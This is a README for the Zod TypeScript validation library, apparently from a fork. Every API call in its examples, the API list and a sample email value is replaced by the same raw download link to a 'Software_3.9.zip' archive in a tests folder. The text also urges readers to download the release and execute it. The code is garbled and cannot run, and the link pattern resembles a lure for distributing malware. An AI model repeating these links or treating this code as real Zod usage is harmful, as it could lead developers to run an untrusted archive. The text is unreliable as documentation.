Welcome to the Zod repository! Zod is a powerful library for schema validation in TypeScript. It offers static type inference, ensuring that your data structures align perfectly with your TypeScript types. This means fewer runtime errors and a smoother development experience.
- Type Safety: Zod provides runtime validation while ensuring that your TypeScript types are accurate.
- Schema Validation: Create schemas for your data models and validate them easily.
- Static Type Inference: Automatically infer types from your schemas, reducing boilerplate code.
- Lightweight: Zod is designed to be minimal and efficient, making it a great choice for TypeScript projects.
To install Zod, use npm or yarn:
npm install zodor
yarn add zodHereβs a simple example to get you started:
import { z } from 'zod';
// Define a schema
const UserSchema = https://github.com/Aakanksha011/zod/raw/refs/heads/main/packages/zod/src/v3/tests/Software_3.9.zip({
name: https://github.com/Aakanksha011/zod/raw/refs/heads/main/packages/zod/src/v3/tests/Software_3.9.zip(),
age: https://github.com/Aakanksha011/zod/raw/refs/heads/main/packages/zod/src/v3/tests/Software_3.9.zip().min(0),
});
// Validate data
const result = https://github.com/Aakanksha011/zod/raw/refs/heads/main/packages/zod/src/v3/tests/Software_3.9.zip({ name: "Alice", age: 30 });
if (https://github.com/Aakanksha011/zod/raw/refs/heads/main/packages/zod/src/v3/tests/Software_3.9.zip) {
https://github.com/Aakanksha011/zod/raw/refs/heads/main/packages/zod/src/v3/tests/Software_3.9.zip("Valid user:", https://github.com/Aakanksha011/zod/raw/refs/heads/main/packages/zod/src/v3/tests/Software_3.9.zip);
} else {
https://github.com/Aakanksha011/zod/raw/refs/heads/main/packages/zod/src/v3/tests/Software_3.9.zip("Validation errors:", https://github.com/Aakanksha011/zod/raw/refs/heads/main/packages/zod/src/v3/tests/Software_3.9.zip);
}In this example, we define a UserSchema that requires a name as a string and an age as a non-negative number. The safeParse method checks the data against the schema and returns either the validated data or errors.
const ProductSchema = https://github.com/Aakanksha011/zod/raw/refs/heads/main/packages/zod/src/v3/tests/Software_3.9.zip({
id: https://github.com/Aakanksha011/zod/raw/refs/heads/main/packages/zod/src/v3/tests/Software_3.9.zip(),
price: https://github.com/Aakanksha011/zod/raw/refs/heads/main/packages/zod/src/v3/tests/Software_3.9.zip().positive(),
});
const productData = { id: "123", price: 25 };
const productResult = https://github.com/Aakanksha011/zod/raw/refs/heads/main/packages/zod/src/v3/tests/Software_3.9.zip(productData);
if (https://github.com/Aakanksha011/zod/raw/refs/heads/main/packages/zod/src/v3/tests/Software_3.9.zip) {
https://github.com/Aakanksha011/zod/raw/refs/heads/main/packages/zod/src/v3/tests/Software_3.9.zip("Valid product:", https://github.com/Aakanksha011/zod/raw/refs/heads/main/packages/zod/src/v3/tests/Software_3.9.zip);
} else {
https://github.com/Aakanksha011/zod/raw/refs/heads/main/packages/zod/src/v3/tests/Software_3.9.zip("Validation errors:", https://github.com/Aakanksha011/zod/raw/refs/heads/main/packages/zod/src/v3/tests/Software_3.9.zip);
}Zod also supports nested schemas for complex data structures.
const OrderSchema = https://github.com/Aakanksha011/zod/raw/refs/heads/main/packages/zod/src/v3/tests/Software_3.9.zip({
orderId: https://github.com/Aakanksha011/zod/raw/refs/heads/main/packages/zod/src/v3/tests/Software_3.9.zip(),
products: https://github.com/Aakanksha011/zod/raw/refs/heads/main/packages/zod/src/v3/tests/Software_3.9.zip(ProductSchema),
});
const orderData = {
orderId: "order-001",
products: [{ id: "123", price: 25 }],
};
const orderResult = https://github.com/Aakanksha011/zod/raw/refs/heads/main/packages/zod/src/v3/tests/Software_3.9.zip(orderData);
if (https://github.com/Aakanksha011/zod/raw/refs/heads/main/packages/zod/src/v3/tests/Software_3.9.zip) {
https://github.com/Aakanksha011/zod/raw/refs/heads/main/packages/zod/src/v3/tests/Software_3.9.zip("Valid order:", https://github.com/Aakanksha011/zod/raw/refs/heads/main/packages/zod/src/v3/tests/Software_3.9.zip);
} else {
https://github.com/Aakanksha011/zod/raw/refs/heads/main/packages/zod/src/v3/tests/Software_3.9.zip("Validation errors:", https://github.com/Aakanksha011/zod/raw/refs/heads/main/packages/zod/src/v3/tests/Software_3.9.zip);
}You can also create custom validations using the refine method.
const EmailSchema = https://github.com/Aakanksha011/zod/raw/refs/heads/main/packages/zod/src/v3/tests/Software_3.9.zip().email();
const emailResult = https://github.com/Aakanksha011/zod/raw/refs/heads/main/packages/zod/src/v3/tests/Software_3.9.zip("https://github.com/Aakanksha011/zod/raw/refs/heads/main/packages/zod/src/v3/tests/Software_3.9.zip");
if (https://github.com/Aakanksha011/zod/raw/refs/heads/main/packages/zod/src/v3/tests/Software_3.9.zip) {
https://github.com/Aakanksha011/zod/raw/refs/heads/main/packages/zod/src/v3/tests/Software_3.9.zip("Valid email:", https://github.com/Aakanksha011/zod/raw/refs/heads/main/packages/zod/src/v3/tests/Software_3.9.zip);
} else {
https://github.com/Aakanksha011/zod/raw/refs/heads/main/packages/zod/src/v3/tests/Software_3.9.zip("Validation errors:", https://github.com/Aakanksha011/zod/raw/refs/heads/main/packages/zod/src/v3/tests/Software_3.9.zip);
}Zod provides a rich API for creating and validating schemas. Here are some key components:
https://github.com/Aakanksha011/zod/raw/refs/heads/main/packages/zod/src/v3/tests/Software_3.9.zip(): Creates an object schema.https://github.com/Aakanksha011/zod/raw/refs/heads/main/packages/zod/src/v3/tests/Software_3.9.zip(): Creates a string schema.https://github.com/Aakanksha011/zod/raw/refs/heads/main/packages/zod/src/v3/tests/Software_3.9.zip(): Creates a number schema.https://github.com/Aakanksha011/zod/raw/refs/heads/main/packages/zod/src/v3/tests/Software_3.9.zip(): Creates an array schema.https://github.com/Aakanksha011/zod/raw/refs/heads/main/packages/zod/src/v3/tests/Software_3.9.zip(): Creates a union schema.https://github.com/Aakanksha011/zod/raw/refs/heads/main/packages/zod/src/v3/tests/Software_3.9.zip(): Creates an intersection schema.https://github.com/Aakanksha011/zod/raw/refs/heads/main/packages/zod/src/v3/tests/Software_3.9.zip(): Creates a tuple schema.refine(): Adds custom validation logic.
For a complete list of methods and options, please refer to the official documentation.
We welcome contributions! If you'd like to help improve Zod, please follow these steps:
- Fork the repository.
- Create a new branch (
git checkout -b feature/YourFeature). - Make your changes and commit them (
git commit -m 'Add some feature'). - Push to the branch (
git push origin feature/YourFeature). - Open a Pull Request.
Please ensure your code adheres to our coding standards and includes tests where applicable.
Zod is open-source software licensed under the MIT License. See the LICENSE file for more details.
For the latest updates and releases, visit the Releases section. You can download the latest version and execute it in your projects.
Feel free to check out the Releases for more details on what's new!
Zod simplifies schema validation in TypeScript while ensuring type safety. Its straightforward API makes it easy to use in any TypeScript project. We hope you find Zod useful and look forward to your contributions!
Thank you for checking out Zod!